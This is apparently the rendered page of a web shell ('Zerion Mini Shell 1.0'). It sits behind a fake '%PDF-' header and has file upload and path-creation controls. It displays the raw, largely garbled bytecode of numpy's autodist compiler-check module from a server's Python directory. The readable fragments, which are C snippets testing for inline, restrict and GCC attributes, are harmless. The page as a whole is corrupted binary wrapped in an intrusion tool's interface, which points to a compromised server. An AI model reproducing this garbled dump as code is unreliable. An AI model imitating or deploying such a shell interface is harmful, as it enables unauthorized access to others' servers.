%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib64/python3.9/site-packages/numpy/distutils/command/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib64/python3.9/site-packages/numpy/distutils/command/__pycache__/autodist.cpython-39.pyc

a

z[yc��@sJdZddlZdd�Zdd�Zdd�Zdd	d
�Zdd�Zd
d�Zdd�ZdS)zKThis module implements additional tests ala autoconf which can be useful.

�NcCsB|��t�d�}dD]&}|�|d|idd�}|r|SqdS)z,Return the inline identifier (may be empty).z�
        #ifndef __cplusplus
        static %(inline)s int static_func (void)
        {
            return 0;
        }
        %(inline)s int nostatic_func (void)
        {
            return 0;
        }
        #endif)�inlineZ
__inline__Z__inlinerN���_check_compiler�textwrap�dedent�try_compile��cmd�body�kw�st�r�F/usr/lib64/python3.9/site-packages/numpy/distutils/command/autodist.py�check_inlines

rcCsB|��t�d�}dD]&}|�|d|idd�}|r|SqdS)z.Return the restrict identifier (may be empty).zj
        static int static_func (char * %(restrict)s a)
        {
            return 0;
        }
        )�restrictZ__restrict__Z
__restrictrNrrr	rrr�check_restricts

rcCs |��t�d�}|�|dd�S)zCheck if the compiler is GCC.z�
        int
        main()
        {
        #if (! defined __GNUC__)
        #error gcc required
        #endif
            return 0;
        }
        Nr)r
rrrr�check_compiler_gcc1s

rcCsN|��d�t|�t|�t|�g�}t�d�}||||d�}|�||dd�S)zB
    Check that the gcc version is at least the specified version.�.a1
        int
        main()
        {
        #if (! defined __GNUC__) || (__GNUC__ < %(major)d) || \
                (__GNUC_MINOR__ < %(minor)d) || \
                (__GNUC_PATCHLEVEL__ < %(patchlevel)d)
        #error gcc >= %(version)s required
        #endif
            return 0;
        }
        )�version�major�minor�
patchlevelN)r�join�strrrr)r
rrrrrrrrr�check_gcc_version_at_leastBs
�rcCs,|��t�d�||f}|�|dd�dkS)z9Return True if the given function attribute is supported.a
        #pragma GCC diagnostic error "-Wattributes"
        #pragma clang diagnostic error "-Wattributes"

        int %s %s(void* unused)
        {
            return 0;
        }

        int
        main()
        {
            return 0;
        }
        Nrr)r
�	attribute�namerrrr�check_gcc_function_attributeZs
�rcCs0|��t�d�||||f}|�|dd�dkS)zMReturn True if the given function attribute is supported with
    intrinsics.z�
        #include<%s>
        int %s %s(void)
        {
            %s;
            return 0;
        }

        int
        main()
        {
            return 0;
        }
        Nrr)r
rr�codeZincluderrrr�,check_gcc_function_attribute_with_intrinsicsos

�r cCs*|��t�d�|f}|�|dd�dkS)z9Return True if the given variable attribute is supported.z�
        #pragma GCC diagnostic error "-Wattributes"
        #pragma clang diagnostic error "-Wattributes"

        int %s foo;

        int
        main()
        {
            return 0;
        }
        Nrr)r
rrrrr�check_gcc_variable_attribute�s
�r!)rr)	�__doc__rrrrrrr r!rrrr�<module>s


Zerion Mini Shell 1.0